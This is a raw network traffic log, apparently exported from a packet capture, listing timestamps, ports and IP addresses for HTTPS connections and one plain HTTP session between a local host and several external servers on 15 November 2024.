Nov 15, 2024 16:16:27.864368916 CET	443	49813	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.864552975 CET	49814	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.864567995 CET	443	49814	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.864612103 CET	49813	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.864753962 CET	49814	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.864790916 CET	49813	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.864805937 CET	443	49813	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.864938021 CET	49814	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.864952087 CET	443	49814	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.866099119 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.894117117 CET	49815	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.894167900 CET	443	49815	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.894324064 CET	49815	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.894664049 CET	49816	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.894700050 CET	443	49816	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.894859076 CET	49816	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.895150900 CET	49816	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.895170927 CET	443	49816	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.895212889 CET	49815	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:27.895229101 CET	443	49815	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:27.927768946 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.928811073 CET	49806	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.928834915 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.929040909 CET	49806	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:27.929054976 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:27.939377069 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.939457893 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:27.939541101 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.940160990 CET	49805	443	192.168.2.5	162.159.61.3
Nov 15, 2024 16:16:27.940175056 CET	443	49805	162.159.61.3	192.168.2.5
Nov 15, 2024 16:16:28.002804995 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.056247950 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.056560040 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.056668043 CET	49806	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.057003975 CET	49806	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.057030916 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.057120085 CET	49806	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.057126045 CET	443	49806	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.062567949 CET	49817	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.062604904 CET	443	49817	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.062670946 CET	49817	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.062905073 CET	49817	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.062917948 CET	443	49817	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.075431108 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.075467110 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.075478077 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.075504065 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.075520992 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.075524092 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.075531960 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.075557947 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.075560093 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.075581074 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.075604916 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.089900970 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.089911938 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.089931011 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.089941025 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.089962959 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.089976072 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.090003967 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.090028048 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.194899082 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.194911003 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.194940090 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.195022106 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.195022106 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.195038080 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.195084095 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.207879066 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.207911968 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.207930088 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.207936049 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.207963943 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.207983017 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.210283995 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.210303068 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.210385084 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.210385084 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.210392952 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.210477114 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.234643936 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:28.234694004 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:28.234800100 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:28.235332966 CET	49818	443	192.168.2.5	13.107.246.57
Nov 15, 2024 16:16:28.235347986 CET	443	49818	13.107.246.57	192.168.2.5
Nov 15, 2024 16:16:28.242176056 CET	49819	443	192.168.2.5	23.192.223.232
Nov 15, 2024 16:16:28.242213964 CET	443	49819	23.192.223.232	192.168.2.5
Nov 15, 2024 16:16:28.242284060 CET	49819	443	192.168.2.5	23.192.223.232
Nov 15, 2024 16:16:28.242515087 CET	49819	443	192.168.2.5	23.192.223.232
Nov 15, 2024 16:16:28.242535114 CET	443	49819	23.192.223.232	192.168.2.5
Nov 15, 2024 16:16:28.250885963 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.250915051 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.250967979 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.250973940 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.251009941 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.251024961 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.314093113 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.314117908 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.314264059 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.314291954 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.314351082 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.326173067 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.326196909 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.326252937 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.326258898 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.326308012 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.326308012 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.327023983 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.327044010 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.327089071 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.327096939 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.327128887 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.327191114 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.328105927 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.328125954 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.328214884 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.328214884 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.328221083 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.329849005 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.329878092 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.329933882 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.329940081 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.329952002 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.329987049 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.330832958 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.330852985 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.330934048 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.330940008 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.330980062 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.332672119 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.369959116 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.369986057 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.370162964 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.370162964 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.370196104 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.370248079 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.395538092 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.400548935 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.412570953 CET	443	49807	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.413090944 CET	49807	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.413108110 CET	443	49807	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.413566113 CET	443	49807	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.415286064 CET	49807	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.415385008 CET	443	49807	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.429508924 CET	443	49808	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.429754019 CET	49808	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.429775953 CET	443	49808	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.430135012 CET	443	49808	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.430495977 CET	49808	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.430566072 CET	443	49808	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.432296038 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.432318926 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.432365894 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.432374001 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.432404995 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.432430983 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.432894945 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.432915926 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.432986021 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.432991982 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.433032990 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.444267988 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.444293022 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.444338083 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.444344044 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.444386959 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.444416046 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.445684910 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.445707083 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.445787907 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.445787907 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.445795059 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.446090937 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.446115017 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.446145058 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.446151018 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.446166039 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.446196079 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.446377993 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.446408987 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.446429014 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.446435928 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.446460009 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.446464062 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.446526051 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.448076010 CET	49803	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.448086977 CET	443	49803	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.473869085 CET	443	49813	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.474220991 CET	49813	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.474239111 CET	443	49813	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.475711107 CET	443	49813	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.475766897 CET	49813	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.476130009 CET	49813	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.476214886 CET	443	49813	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.476273060 CET	443	49814	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.476510048 CET	49814	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.476526022 CET	443	49814	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.477966070 CET	443	49814	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.478024960 CET	49814	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.478473902 CET	49814	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.478552103 CET	443	49814	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.499639988 CET	443	49816	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.502832890 CET	49808	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.516577959 CET	443	49815	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.519809008 CET	49815	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.519830942 CET	443	49815	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.519948006 CET	49816	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.519965887 CET	443	49816	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.521409035 CET	443	49816	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.521471024 CET	49816	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.523384094 CET	443	49815	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.523447037 CET	49815	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.548830986 CET	49822	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.548852921 CET	443	49822	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:28.549813986 CET	49823	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.549854994 CET	49822	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.549875021 CET	443	49823	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:28.549921036 CET	49823	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.550337076 CET	49824	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.550367117 CET	443	49824	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:28.550410032 CET	49824	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.559467077 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.563987970 CET	49824	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.564013004 CET	443	49824	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:28.565947056 CET	49823	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.565978050 CET	443	49823	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:28.566497087 CET	49822	443	192.168.2.5	23.221.220.60
Nov 15, 2024 16:16:28.566513062 CET	443	49822	23.221.220.60	192.168.2.5
Nov 15, 2024 16:16:28.573318005 CET	443	49811	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.577610970 CET	49815	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.577815056 CET	443	49815	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.578329086 CET	49816	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.578485966 CET	443	49816	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.582053900 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.609519958 CET	49813	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.609529018 CET	443	49813	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.611474037 CET	49809	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.611500025 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.612073898 CET	49809	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.612080097 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.612740040 CET	49811	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.612751007 CET	443	49811	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.613204956 CET	49811	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.613209009 CET	443	49811	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.613408089 CET	49810	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.613430977 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.613907099 CET	49810	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.613939047 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.623338938 CET	443	49807	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.623420000 CET	49807	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.628205061 CET	49814	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.628213882 CET	443	49814	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.628216028 CET	49816	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.628232002 CET	443	49816	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.678359985 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678395987 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678442955 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678442955 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678464890 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678499937 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678533077 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678549051 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678565025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678594112 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678617954 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678625107 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678672075 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678678036 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678708076 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678740025 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.678776026 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678776026 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678776026 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.678824902 CET	443	49812	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.679471970 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.681056023 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.697014093 CET	49812	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.697046041 CET	443	49812	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.698009014 CET	49812	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.698014975 CET	443	49812	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.714092970 CET	49815	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.714098930 CET	443	49815	172.64.41.3	192.168.2.5
Nov 15, 2024 16:16:28.714127064 CET	49813	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.736830950 CET	443	49811	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.736941099 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.737040997 CET	443	49811	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.737066984 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.737138987 CET	49811	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.737274885 CET	49809	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.737274885 CET	49811	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.737303972 CET	443	49811	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.738850117 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.738926888 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.739240885 CET	49810	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.742757082 CET	49810	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.742783070 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.742798090 CET	49810	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.742805958 CET	443	49810	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.744065046 CET	49809	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.744077921 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.744102001 CET	49809	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.744108915 CET	443	49809	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.747809887 CET	49825	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.747838020 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.747940063 CET	49825	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.748106003 CET	49826	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.748155117 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.748209953 CET	49826	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.748343945 CET	49825	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.748358011 CET	443	49825	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.748744965 CET	49826	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.748765945 CET	443	49826	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.749335051 CET	49827	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.749344110 CET	443	49827	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.749403954 CET	49827	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.749568939 CET	49827	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.749586105 CET	443	49827	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.809950113 CET	443	49817	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.810630083 CET	49817	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.810664892 CET	443	49817	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.811144114 CET	49817	443	192.168.2.5	13.107.246.45
Nov 15, 2024 16:16:28.811150074 CET	443	49817	13.107.246.45	192.168.2.5
Nov 15, 2024 16:16:28.817202091 CET	49814	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.817257881 CET	49816	443	192.168.2.5	172.64.41.3
Nov 15, 2024 16:16:28.828072071 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.828136921 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.828172922 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.828172922 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.828210115 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.828222990 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.828222990 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.828263044 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.828301907 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.828346014 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.828361034 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.828414917 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.828424931 CET	49759	80	192.168.2.5	185.215.113.206
Nov 15, 2024 16:16:28.828453064 CET	80	49759	185.215.113.206	192.168.2.5
Nov 15, 2024 16:16:28.828485966 CET	49759	80	192.168.2.5	185.215.113.206
